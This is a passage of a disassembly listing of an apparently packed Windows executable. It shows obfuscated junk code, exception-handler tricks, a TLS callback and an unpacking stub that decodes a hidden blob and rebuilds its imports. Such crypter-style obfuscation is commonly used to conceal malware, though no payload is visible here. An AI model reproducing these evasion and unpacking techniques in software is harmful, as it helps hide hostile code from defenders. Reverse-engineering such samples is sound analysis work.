		dd 0C181C033h, 4, 0C1810189h, 4, 439CB968h, 0BB85E900h
		dd 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BFFF


loc_43F6F8:				; CODE XREF: sub_43BFFF+25CAj
		xor	eax, 598C2497h
		add	ecx, eax
		pop	eax
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43EBD9
; END OF FUNCTION CHUNK	FOR sub_43BFFF
; ---------------------------------------------------------------------------
		dw 0C100h
; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	0E9h
		pop	eax
		sar	edi, 0FFh
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43F717:				; CODE XREF: sub_43C65A:loc_438CAFj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 0A0h
		jmp	loc_43A4EE
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 0E99D0000h, 0FFFFC8B4h

; =============== S U B	R O U T	I N E =======================================



sub_43F734	proc near		; CODE XREF: _802izwe5:0043D4A5j
					; sub_43C65A:loc_43F91Ap

; FUNCTION CHUNK AT 00438F65 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439267 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CD74 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043D624 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043DAB2 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	byte ptr [esi],	3Ch
		pop	esi
		push	386332ADh
		pop	edx
		add	edx, 0A46139F3h
		jmp	loc_439267
sub_43F734	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43F74F:				; CODE XREF: _802izwe5:0043F435j
		sub	ebx, 46DAF7ECh
		add	ebx, 6452BA97h
		jmp	near ptr dword_43B828+1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43F761:				; CODE XREF: _802izwe5:0043D6F1j
		add	edi, 8C12D687h
		add	ecx, edi
		pop	edi
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		jmp	loc_43AFD9
; ---------------------------------------------------------------------------
		align 4
		dd 0E9FA1300h, 0FFFFCB4Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F782:				; CODE XREF: sub_439ED1:loc_43E1C6j
		jns	loc_43CD06
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0D6870000h, 0FF9DF1E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43F792:				; CODE XREF: _802izwe5:loc_43DF40j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		push	eax
		jmp	loc_43E553
; ---------------------------------------------------------------------------
		align 4


loc_43F7A4:				; CODE XREF: _802izwe5:0043F1C6j
		jnp	loc_43ED1C
		jge	near ptr dword_43E2F0+6

; =============== S U B	R O U T	I N E =======================================



sub_43F7B0	proc near		; CODE XREF: sub_439ED1+8E8p
		xchg	edi, [esp+0]
		xchg	ebx, [esp+0]
		mov	edi, ebx
		jmp	loc_43A91A
sub_43F7B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_43F7BD	proc far		; CODE XREF: sub_437BE6+9j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004391E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043994E SIZE 00000005 BYTES

		push	ebx
		mov	ebx, offset loc_4391F2
		jmp	loc_4391E8
sub_43F7BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
word_43F7CA	dw 189h			; DATA XREF: sub_439ED1:loc_43ACACo
		dd 4C181h, 1890000h, 0A0C181h, 0C4E90000h, 0FFFFFCh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43F7E0:				; CODE XREF: sub_43C65A+31Aj
		push	offset sub_43B32C
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dw 0C700h
		dd 439E0701h, 59C03300h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_43F7F5	proc near		; CODE XREF: sub_43C65A:loc_43B6E1p

; FUNCTION CHUNK AT 0043B162 SIZE 00000005 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43B162
sub_43F7F5	endp

; ---------------------------------------------------------------------------


loc_43F806:				; CODE XREF: _802izwe5:0043BB3Bj
		mov	ebp, esp
		call	near ptr sub_43DDE3
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43F80E:				; CODE XREF: sub_43C65A+108j
		jmp	loc_43A6B1
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F813:				; CODE XREF: sub_439ED1+23F4j
		pop	edx
		mov	[ecx], eax
		add	ecx, 4


loc_43F81C:				; CODE XREF: _802izwe5:loc_43CD00j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43F39D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2


loc_43F832:				; CODE XREF: _802izwe5:0043B479j
					; DATA XREF: _802izwe5:loc_43E972o
		pop	dword ptr fs:0
		call	sub_43B794
		jmp	loc_43C565
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F842:				; CODE XREF: sub_439ED1:loc_43A410j
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F846:				; CODE XREF: sub_439ED1-642j
		jmp	loc_43D71D
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 67h
		dd 36FF64h, 89646700h, 0E8000026h, 0FFFF86F0h
		db 0
; ---------------------------------------------------------------------------


loc_43F85D:				; CODE XREF: _802izwe5:loc_43F34Fj
		jmp	loc_439692
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43F863:				; CODE XREF: sub_43C65A+25Bj
		jmp	loc_43CA48
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43F869:				; CODE XREF: _802izwe5:loc_43EAE3j
		push	0BFB23BA9h
		ror	esi, 15h
		popf
		jmp	loc_439272
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43F87B:				; CODE XREF: _802izwe5:loc_4391C2j
		jmp	loc_43B90F
; ---------------------------------------------------------------------------
		db 0
byte_43F881	db 0C6h, 6, 3		; DATA XREF: sub_439ED1:loc_43A050o
		dd 0B10BE85Eh, 4AE9FFFFh, 0FFFFFAh, 0E7A6830Fh,	0D9E9FFFFh
		dd 87FFFFE6h, 0C75A2414h, 1001301h, 0F5E85700h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43F8AB:				; CODE XREF: _802izwe5:004399CBj
		jmp	loc_43D949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F8B0:				; CODE XREF: sub_439ED1+2DE3j
		sbb	ecx, 0CED03BDFh
		pop	dword ptr fs:0
		xchg	eax, [esp+0]
		pop	eax
		jnz	loc_439D59
		push	offset loc_43A6DE
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 18C0F00h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43F8D7:				; DATA XREF: sub_439ED1-199Ao
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43779B
		xor	eax, eax
		jmp	loc_4379C9
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C50C


loc_43F8F5:				; CODE XREF: sub_43C50C:loc_43BEA6j
		cmp	edi, 0E944E2Bh
		jmp	loc_43A5FF
; END OF FUNCTION CHUNK	FOR sub_43C50C
; ---------------------------------------------------------------------------


loc_43F900:				; CODE XREF: _802izwe5:0043807Aj
		or	eax, edx
		mov	eax, 915F424h
		jmp	loc_43811D
; ---------------------------------------------------------------------------
		dd 241C8700h, 43EB4B68h, 0A01EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43F91A:				; CODE XREF: sub_43C65A:loc_43C979j
		call	sub_43F734
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------


loc_43F921:				; CODE XREF: _802izwe5:0043EF1Cj
		jmp	near ptr dword_43E18C+7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A6E


loc_43F926:				; CODE XREF: sub_438A6E+59C4j
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		push	edx
		push	0FB6206C4h
		pop	edx


loc_43F93D:				; CODE XREF: sub_439ED1+9CFj
		jmp	near ptr byte_437E21+2
; END OF FUNCTION CHUNK	FOR sub_438A6E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43F943:				; CODE XREF: _802izwe5:0043B44Cj
		add	ebx, 2F49D9A0h
		rol	ebx, 0Bh
		xor	ebx, 524E69AAh
		add	ecx, ebx
		pop	ebx
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43A106
; ---------------------------------------------------------------------------


loc_43F962:				; CODE XREF: _802izwe5:0043E267j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		xor	eax, eax
		add	ecx, 4
		mov	[ecx], eax
		jmp	loc_43C712
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437F24


loc_43F983:				; CODE XREF: sub_437F24+Cj
		xchg	ebx, [esp-4+arg_0]
		mov	ecx, ebx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_437F24
; ---------------------------------------------------------------------------


loc_43F98A:				; CODE XREF: _802izwe5:0043C0A2j
		jmp	locret_43BB3A
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43F990	proc far		; CODE XREF: _802izwe5:0043F46Ap

; FUNCTION CHUNK AT 00439343 SIZE 0000000B BYTES

		push	dword ptr fs:0
		jmp	loc_439343
sub_43F990	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0C301C600h, 243C8759h, 0FF7C75E9h, 9FE900FFh, 0FFFF90h
		dd 7D00h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3B2


loc_43F9B4:				; CODE XREF: sub_43F3B2-1A2Aj
		jmp	loc_43D6AA
; END OF FUNCTION CHUNK	FOR sub_43F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F9B9:				; CODE XREF: sub_439ED1+F31j
		jmp	loc_43E2FC
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dw 5300h
		dd 43C8BCBBh, 0A33CE900h, 0E951FFFFh, 0FFFFBDAFh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43F9D1:				; CODE XREF: sub_439ED1:loc_43C447j
		push	edi
		push	0ACEC20FCh
		pop	edi
		sub	edi, 6416EFA8h
		jmp	loc_43F37C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 0C9815000h, 0E3C7D88Eh, 0FF838BE9h, 810000FFh, 0D830E7F0h
		dd 0CCE081DFh, 81F08208h, 41DFE3C0h
		db 40h
byte_43FA05	db 0CFh, 4, 24h		; DATA XREF: _802izwe5:0043E30Ao
; ---------------------------------------------------------------------------
		jmp	loc_43E694
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43FA0F:				; CODE XREF: _802izwe5:0043E037j
		add	eax, 0ABE86D3Dh
		and	eax, 0C3494104h
		xor	eax, 54D69A5Ch
		add	eax, ebp
		add	eax, 2B20649Ch
		mov	eax, [eax]
		push	0C247A858h
		jmp	loc_43E8AF
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	esi
		push	edi
		push	ebx
		mov	esi, offset dword_4173C8
		mov	eax, 400000h
		mov	[ebp-4], eax
		mov	edx, eax
; START	OF FUNCTION CHUNK FOR sub_43FABF


loc_43FA4D:				; CODE XREF: sub_43FABF+D1j
		mov	eax, [esi+0Ch]
		or	eax, eax
		jz	loc_43FAE6
		add	eax, edx
		mov	ebx, eax
		push	eax
		call	ds:dword_4270B4	; GetModuleHandleA
		or	eax, eax
		jnz	loc_43FA7A
		push	ebx
		call	ds:dword_4270B8	; LoadLibraryA
		or	eax, eax
		jz	loc_43FADE


loc_43FA7A:				; CODE XREF: sub_43FABF-5Aj
		mov	[ebp-8], eax
		push	0
		pop	dword ptr [ebp-0Ch]


loc_43FA82:				; CODE XREF: sub_43FABF+18j
		mov	eax, [esi]
		or	eax, eax
		mov	edx, [ebp-4]
		jnz	loc_43FA92
		mov	eax, [esi+10h]


loc_43FA92:				; CODE XREF: sub_43FABF-36j
		add	eax, edx


loc_43FA94:				; CODE XREF: _802izwe5:loc_43EA2Fj
		add	eax, [ebp-0Ch]
		mov	ebx, [eax]
		mov	edi, [esi+10h]
		add	edi, edx
		add	edi, [ebp-0Ch]
		or	ebx, ebx
		jz	loc_43FB8A
		test	ebx, 80000000h
		jnz	loc_43FAB9
		lea	ebx, [ebx+edx+2]


loc_43FAB9:				; CODE XREF: _802izwe5:00437EDAj
					; sub_43FABF-10j
		and	ebx, 7FFFFFFFh
; END OF FUNCTION CHUNK	FOR sub_43FABF

; =============== S U B	R O U T	I N E =======================================



sub_43FABF	proc near		; CODE XREF: sub_439ED1-176Dj

; FUNCTION CHUNK AT 0043FA4D SIZE 00000072 BYTES
; FUNCTION CHUNK AT 0043FB8A SIZE 0000000B BYTES

		push	ebx
		push	dword ptr [ebp-8]
		call	ds:dword_4270BC	; GetProcAddress
		or	eax, eax
		jz	loc_43FADE
		mov	[edi], eax
		add	dword ptr [ebp-0Ch], 4
		jmp	loc_43FA82
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43FADE:				; CODE XREF: sub_43FABF-4Bj
					; sub_43FABF+Cj
		push	ebx
		mov	eax, ebx
		call	sub_43FAED


loc_43FAE6:				; CODE XREF: sub_43FABF-6Dj
		pop	ebx
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_43FABF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FAED	proc near		; CODE XREF: sub_43FABF+22p

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		mov	[ebp+var_104], eax
		mov	[ebp+var_100], 276E6143h
		mov	[ebp+var_FC], 6F6C2074h
		mov	[ebp+var_F8], 206461h
		mov	[ebp+var_108], 0Bh


loc_43FB24:				; CODE XREF: sub_43FAED+97j
		mov	eax, [ebp+var_104]
		cmp	byte ptr [eax],	0
		jnz	loc_43FB63
		mov	eax, [ebp+var_108]
		mov	byte ptr [ebp+eax+var_100], 0
		push	2010h
		push	0
		lea	eax, [ebp+var_100]
		push	eax
		push	0
		call	ds:dword_427104	; MessageBoxA
		push	0FFFFFFFFh
		call	ds:dword_4270C0	; ExitProcess
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43FB63:				; CODE XREF: sub_43FAED+40j
		mov	eax, [ebp+var_108]
		mov	edx, [ebp+var_104]
		mov	dl, [edx]
		mov	byte ptr [ebp+eax+var_100], dl
		inc	[ebp+var_108]
		inc	[ebp+var_104]
		jmp	loc_43FB24
sub_43FAED	endp

; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43FABF


loc_43FB8A:				; CODE XREF: sub_43FABF-1Cj
		add	esi, 14h
		mov	edx, [ebp-4]
		jmp	loc_43FA4D
; END OF FUNCTION CHUNK	FOR sub_43FABF
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_43FB96	proc near		; CODE XREF: _802izwe5:loc_4393D2p
					; startp ...
		mov	eax, offset dword_43718C

locret_43FB9B:				; DATA XREF: sub_43FB9C+8o
		retn
sub_43FB96	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FB9C	proc near		; DATA XREF: _802izwe5:off_43DFACo

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	esi
		push	edi
		push	ecx
		push	ebx
		push	eax
		mov	ebx, [esp+14h+var_14]
		sub	ebx, offset locret_43FB9B
		mov	eax, 5EDAh
		push	eax
		push	4
		push	1000h
		push	eax
		push	0
		mov	eax, offset dword_4270C4
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		mov	edx, offset dword_43718C
		add	edx, ebx
		push	edx
		push	ebx
		push	eax
		mov	edi, eax
		mov	esi, edx
		cld
		rep movsb
		mov	ecx, offset sub_437008
		add	ecx, ebx
		call	ecx
		pop	eax
		mov	ebx, [esp+10h+var_10]
		push	8000h
		push	0
		push	eax
		mov	eax, 4270C8h
		mov	eax, [eax+ebx]
		call	eax
		pop	ecx
		pop	eax
		pop	ebx
		sub	ebx, 5
		mov	byte ptr [ebx],	0B8h
		inc	ebx
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	0C3h
		or	ecx, ecx
		jz	short loc_43FC51
		mov	ebx, eax
		call	loc_43FCB2
		cld
		lodsd
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43FC51
		push	ebx
		mov	ebx, ecx


loc_43FC1C:				; CODE XREF: sub_43FB9C+91j
					; sub_43FB9C+A4j ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_43FC2F
		and	eax, 0FFh
		jmp	short loc_43FC1C
; ---------------------------------------------------------------------------


loc_43FC2F:				; CODE XREF: sub_43FB9C+8Aj
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_43FC42


loc_43FC39:				; CODE XREF: _802izwe5:0043FC59j
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_43FC1C
; ---------------------------------------------------------------------------


loc_43FC42:				; CODE XREF: sub_43FB9C+9Bj
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_43FC1C
		pop	eax


loc_43FC51:				; CODE XREF: sub_43FB9C+6Dj
					; sub_43FB9C+7Bj
		pop	ebx
		pop	ecx
		pop	edi
		pop	esi
		retn
sub_43FB9C	endp

; ---------------------------------------------------------------------------
		dw 0EF5Eh
; ---------------------------------------------------------------------------
		setalc
		jz	short loc_43FC39
		cmp	eax, 0BB341C3h
		mov	dword ptr fs:[ecx+ebx*4], 0E26B394Bh
		pop	ecx
		dec	dword ptr [ecx]
		or	al, 0C2h
		mov	bl, 8
		jmp	short loc_43FC80
; ---------------------------------------------------------------------------
		db 81h,	6Fh, 73h
		dd 0FD51BB39h, 54542F6Eh, 0B2C83ACEh
; ---------------------------------------------------------------------------


loc_43FC80:				; CODE XREF: _802izwe5:0043FC6Fj
		cmp	eax, 0C24128EDh
		and	eax, [edi+ecx*4+2Ch]
		ror	ebp, 3Bh
		rcl	dword ptr [esi], 4Ah
		push	edi
		jmp	near ptr 0BEE92416h
; ---------------------------------------------------------------------------
		mov	esi, 0AE628301h

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		call	sub_43FB96
		add	eax, 7AF1h
		jmp	eax
start		endp


; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: _802izwe5:TlsCallbackso
		call	sub_43FB96
		add	eax, 5249h
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------


loc_43FCB2:				; CODE XREF: sub_43FB9C+71p
		call	sub_43FCBB
; ---------------------------------------------------------------------------
		db 0FFh
		db 3 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_43FCBB	proc near		; CODE XREF: _802izwe5:loc_43FCB2p
		pop	esi
		retn
sub_43FCBB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		dw 4974h
		dd 0C210D8DAh, 7BFE75EDh, 0C2B6C27h, 0DA072069h, 47E85176h
		dd 0BFD33C0Fh, 0E293BE74h, 0B4212B94h, 0D95C51C7h, 419CEECDh
		dd 343D4F94h, 35C711E2h, 30E70D74h, 0B572ADF1h,	0C17856A6h
		dd 0C8C0D37Bh, 0D8CDD327h, 72FE479Fh, 0CD052ECh, 0ACEC781Dh
		dd 0D3F9FBB3h, 8AFCE833h, 0CB416BCAh, 0B62F484Ch, 0F8EC512Ch
		dd 6C6B801Dh, 0ED52BCB8h, 79AF91A0h, 0BCB6A86Eh, 45380A36h
		dd 0EB38D0Bh, 0ADDF6B2Eh, 1F5CCE4Fh, 0D32D2B8Dh, 0C7422F6Fh
		dd 0D3E8FD07h, 95F72987h, 6404D88Bh, 581C4AAEh,	6AC9EA6Dh
		dd 0C013C52h, 83F0D23h,	23A815C2h, 0FB8C7CF5h, 62523068h
		dd 0F5F0A447h, 213A6112h, 20E1A416h, 17788EEAh,	2385C81Bh
		dd 0F600BAF2h, 7EDE0793h, 0EE8FAD3h, 2F0DA76Ah,	0C5F7F7D9h
		dd 3690CC91h, 803C952Dh, 62B8F38Fh, 9EE0A32Ah, 0B27D552Fh
		dd 0F12DB1E2h, 3912899Fh, 4200BCFEh, 0DD09240Ah, 76C1D916h
		dd 17F01DC2h, 0A58CEBC1h, 0EA078885h, 75B70B61h, 3E9C4940h
		dd 0EA84171Ch, 0BC3DA10Fh, 3689E5E8h, 0EBFF6D4Eh, 4A67D4FFh
		dd 9A9EC098h, 8C2FBD8Bh, 0FBF6A268h, 5E670667h,	8426A3A9h
		dd 80h dup(0)
_802izwe5	ends

; Section 6. (virtual address 00040000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 00040000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
f1dfid6q	segment	para public 'CODE' use32
		assume cs:f1dfid6q
		;org 440000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 28427824h, 48B5C68Ah, 70985DEBh, 5FA9AE76h, 9B9E5309h
		dd 4AC1D5C5h, 0DCFD3963h, 28478893h, 2DE94FA1h,	0B492579Ah
		dd 5BAD0D6h, 0A0787134h, 3E308DF8h, 0B8600F5Eh,	0B78D8FD1h
		dd 1B5CFF5h, 0AE5A9940h, 0EBA1D2DDh, 6708899Bh,	0AF74708Dh
		dd 0EC5FDF8Ch, 660707B4h, 0B60D2737h, 0DDC95AA7h, 0FA5A5ED0h
		dd 8F945779h, 88A04DEAh, 0B1DBC5F5h, 0F5A1FA8Eh, 59C4C60Eh
		dd 4010627h, 3C53A9CCh,	4C866B6Fh, 36587B59h, 0A606D6D1h
		dd 8BB3C88Dh, 324ED55Ch, 5F769765h, 2D3BB5AAh, 0D08E71B7h
		dd 40F1DC1Eh, 0B3D89ECEh, 0F3393468h, 9E9166D6h, 39F3C995h
		dd 2F9161D9h, 6D1A6A11h, 7900FA2Bh, 4256A1D9h, 474F615Eh
		dd 28CE8E78h, 3B970DE9h, 49F495B0h, 291A50FFh, 258590Eh
		dd 6A5114F1h, 0D28D2F9Bh, 246880ADh, 8E9E093Eh,	0D6094216h
		dd 86B41173h, 4D9C1748h, 0A0B8C323h, 76D3CE16h,	0FDBEEE3Bh
		dd 0B7E68827h, 0F060F470h, 0AA456791h, 5DCC4D34h, 0B3FDFB35h
		dd 0D0806CBCh, 48E0898Bh, 3777EAA1h, 0EB09E469h, 0E99FB6A9h
		dd 0DDABD452h, 6EA1873Dh, 3D8A2463h, 8BF57787h,	0EF1FD2C7h
		dd 14B429BEh, 157B431Ah, 0E613DBFBh, 0F3085E33h, 0B39F44A9h
		dd 5ED3E4F0h, 8BE576B5h, 0F3FB77AFh, 1EA9DF36h,	0E843F7B1h
		dd 0FB85C99Ah, 5FC99505h, 0D6914880h, 0FF0FDB40h, 990975E0h
		dd 6B96F5F1h, 2C7AAEECh, 93F6BA75h, 9F5908B1h, 0AF8173BCh
		dd 0FB46487Fh, 203F45E2h, 15622314h, 0E2A0F935h, 81B815B8h
		dd 9C6B9E15h, 196CF08Ah, 987CEBCAh, 0FA8AA30h, 3631C67Bh
		dd 0FC7839C5h, 84F6C986h, 3FC802A6h, 0DBEA483Ch, 86E0DD2Eh
		dd 0EDFAF771h, 2B974BFBh, 5FB9C549h, 22534F78h,	0DBE5DA78h
		dd 200DE1BAh, 22394CD6h, 6DC4264Ah, 8951B948h, 995A5198h
		dd 0E4B98D49h, 0FABE6297h, 1318282h, 1B80h dup(0)
f1dfid6q	ends

; Section 7. (virtual address 00047000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00047000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 447000h
		align 2000h
_idata2		ends


		end start